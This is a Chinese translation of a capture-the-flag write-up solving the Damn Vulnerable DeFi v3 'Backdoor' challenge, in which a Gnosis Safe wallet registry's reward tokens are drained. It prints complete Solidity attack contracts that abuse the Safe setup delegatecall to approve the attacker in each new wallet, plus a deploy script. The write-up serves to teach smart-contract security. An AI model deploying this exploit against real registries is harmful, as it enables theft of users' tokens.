本文分析了Damn Vulnerable DeFi v3 Backdoor挑战,该挑战涉及利用Gnosis Safe v1.3.0钱包注册表的漏洞。攻击者通过部署恶意合约,在Gnosis Safe钱包创建过程中利用delegatecall机制,在钱包的上下文中批准攻击合约转移token,最终耗尽注册表中的所有token。
后门 v3 的特性是一个 Gnosis Safe v1.3.0 钱包的注册表。该注册表已被赋予初始的 token 分配和一个受益人列表,当这些受益人创建 Gnosis Safe 钱包并在注册表中注册它们时,他们会获得一些 token 作为奖励。我们的任务是耗尽注册表中的所有 token。
在这个挑战中,最大的线索可以在测试文件本身中找到。让我们检查一下胜利的条件:
after(async function () {
/** 成功条件 - 这里无需更改任何内容 */
// 玩家必须只使用一笔交易
expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
for (let i = 0; i < users.length; i++) {
let wallet = await walletRegistry.wallets(users[i]);
// 用户必须已注册一个钱包
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
'User did not register a wallet'
);
// 用户不再注册成受益人
expect(
await walletRegistry.beneficiaries(users[i])
).to.be.false;
}
// 玩家必须拥有所有 token
expect(
await token.balanceOf(player.address)
).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});
第一个要求是攻击者(玩家)必须只使用 1 笔交易; 这告诉我们,我们需要部署一个攻击合约,该合约将在其 constructor() 中执行攻击。
第二个要求是每个用户都必须注册一个钱包,并且这些用户不再在 WalletRegistry.beneficiaries 中注册为受益人。 这表明 Gnosis Safe 钱包的设置不完整; 钱包尚未为受益人创建和注册,而执行此操作将是我们攻击的一部分。 考虑到这一点,让我们将注意力转移到 Wallet Registry 本身。
WalletRegistry 实现了 IProxyCreationCallback 以及关联的函数 proxyCreated(),该函数由 GnosisSafeProxyFactory.createProxyWithCallback() 在用户使用该函数创建 Gnosis Safe 钱包时调用。
WalletRegistry.proxyCreated() 的参数之一是 bytes calldata initializer 并且有一个有趣的提示:
// 确保初始 calldata 是对 `GnosisSafe::setup` 的调用
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert InvalidInitialization();
}
这告诉我们,当我们调用 GnosisSafeProxyFactory.createProxyWithCallback() 为受益人创建钱包时,bytes initializer 参数必须是 GnosisSafe.setup() 的函数选择器加上参数。
GnosisSafe.setup() 有两个有趣的参数:
address to - 可选委托调用的合约地址
bytes calldata data - 可选委托调用的数据负载。
因此,在我们通过 GnosisSafeProxyFactory.createProxyWithCallback() 创建和部署 Gnosis Safe 钱包之后,我们可以让新创建的 GnosisSafeProxy 在其 setup() 期间 delegatecall 到我们控制的任意函数和任意参数。
这将允许我们使用新创建的 GnosisSafeProxy 的上下文执行我们的攻击代码。 我们的攻击代码在使用 GnosisSafeProxy 上下文执行时,可以调用 token 合约上的 approve() 来批准我们的攻击合约作为 spender :-) 这很有用,因为 WalletRegistry.proxyCreated() 会将 token 转移到新创建的 GnosisSafeProxy,因此之后我们将能够简单地从代理中耗尽 token。
我们现在拥有实施攻击所需的一切,是时候将它们放在一起了!
首先需要在 WalletRegistry.sol 中添加一个额外的 import 语句,以使用我们需要创建钱包的 GnosisSafeProxyFactory:
import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
// @audit 额外的 import 语句
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
接下来,在 WalletRegistry.sol 的底部,我们将开始编写我们的漏洞利用代码。 回想一下,我们必须在 1 笔交易中执行它才能通过测试要求。 这意味着漏洞利用必须发生在我们的攻击合约的 constructor() 中 - 但是,当我们的攻击合约的 constructor 尚未完成执行时,我们如何才能让 GnosisSafe.setup() 委托回调到我们控制的函数?
解决方案是创建一个第二个回调攻击合约,并让第一个攻击合约在其 constructor 中创建第二个回调合约,然后再执行漏洞利用:
// 挑战要求我们在 1 笔交易中完成它,因此主要的攻击必须发生在
// 攻击合约的 constructor 中。 因此,该 constructor 需要创建这个额外的合约
// 以便使这个外部函数存在,允许 GnosisSafeProxy 对其进行 delegatecall()
contract DelegateCallbackAttack {
// 这将由新创建的 GnosisSafeProxy 使用 delegatecall() 调用
// 这允许攻击者使用 GnosisSafeProxy 上下文执行任意代码;
// 使用它来批准主攻击合约的 token 转移
function delegateCallback(address token, address spender, uint256 drainAmount) external {
IERC20(token).approve(spender, drainAmount);
}
}
接下来,我们创建我们的主攻击合约:
contract WalletRegistryAttack {
uint256 immutable DRAIN_AMOUNT = 10 ether;
// 攻击在 constructor 中执行,以通过 1 笔交易的要求
constructor(address[] memory _initialBeneficiaries,
address _walletRegistry ) {
DelegateCallbackAttack delegateCallback = new DelegateCallbackAttack();
WalletRegistry walletRegistry = WalletRegistry(_walletRegistry);
GnosisSafeProxyFactory proxyFactory = GnosisSafeProxyFactory(walletRegistry.walletFactory());
IERC20 token = walletRegistry.token();
for (uint8 i = 0; i < _initialBeneficiaries.length;) {
// 对应于 GnosisSafe.setup(address[] calldata _owners) - 这个
// Safe 的所有者,在我们的例子中,每个 Safe 将只有一个所有者,即受益人。
address[] memory owners = new address[](1);
owners[0] = _initialBeneficiaries[i];
// 对应于 GnosisSafeProxyFactory.createProxyWithCallback(..,bytes memory initializer,..)
// 具有函数选择器 = GnosisSafe.setup.selector
// 和对应于 GnosisSafe.setup() 的参数
bytes memory initializer = abi.encodeWithSelector(
GnosisSafe.setup.selector, // 函数选择器 = GnosisSafe.setup.selector
owners, // 1 个 Safe 所有者; 受益人
1, // Safe 交易需要 1 次确认
address(delegateCallback), // 从新的 GnosisSafeProxy 到攻击合约的 delegatecall()
// delegatecall 攻击函数 + 参数的函数选择器
abi.encodeWithSelector(DelegateCallbackAttack.delegateCallback.selector,
address(token), address(this), DRAIN_AMOUNT),
address(0), // 没有 fallbackHandler
address(0), // 没有 paymentToken
0, // 没有 payment
address(0) // 没有 paymentReceiver
);
// 接下来,使用我们的负载,为每个受益人创建钱包 (proxy)。
// 这应该作为初始 GnosisSafe 设置的一部分来完成,
// 没有这样做才允许我们这样做并利用该合约
GnosisSafeProxy safeProxy = proxyFactory.createProxyWithCallback(
walletRegistry.masterCopy(),
initializer,
i, // 用于生成 salt 以计算新代理合约地址的 nonce
// 在部署和初始化新的代理后,回调到 WalletRegistry.proxyCreated()
IProxyCreationCallback(_walletRegistry)
);
// 此时,GnosisSafeFactory 已经部署和初始化了新的 GnosisSafeProxy,
// 并且使用了 delegatecall() 来执行我们的攻击回调函数,该函数
// 使用 GnosisSafeProxy 上下文调用了 DVT.approve(),从而使我们的攻击合约
// 成为经过批准的 spender。 剩下的就是直接调用 DVT.transferFrom()
// 使用新的代理地址来耗尽钱包
require(token.allowance(address(safeProxy), address(this)) == DRAIN_AMOUNT);
token.transferFrom(address(safeProxy), msg.sender, DRAIN_AMOUNT);
unchecked{++i;}
}
}
}
然后在 backdoor.challenge.js 中部署我们的攻击合约。 请注意,我需要指定一个手动 gasLimit,因为 hardhat 抱怨它无法估算交易所需的 gas - 在 constructor 中执行攻击可能会导致这种情况,通过手动指定 gasLimit 来解决它:
it('执行', async function () {
/** 在此处编写你的解决方案 */
await (await ethers.getContractFactory('WalletRegistryAttack', player)).deploy(
users, walletRegistry.address, {gasLimit: 30000000}
);
});
最后,运行测试并验证一切正常:npx hardhat test --grep "Backdoor"
完整的代码可以在我的 Damn Vulnerable DeFi v3 Solutions 仓库中找到。
- 原文链接: dacian.me/damn-vulnerabl...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!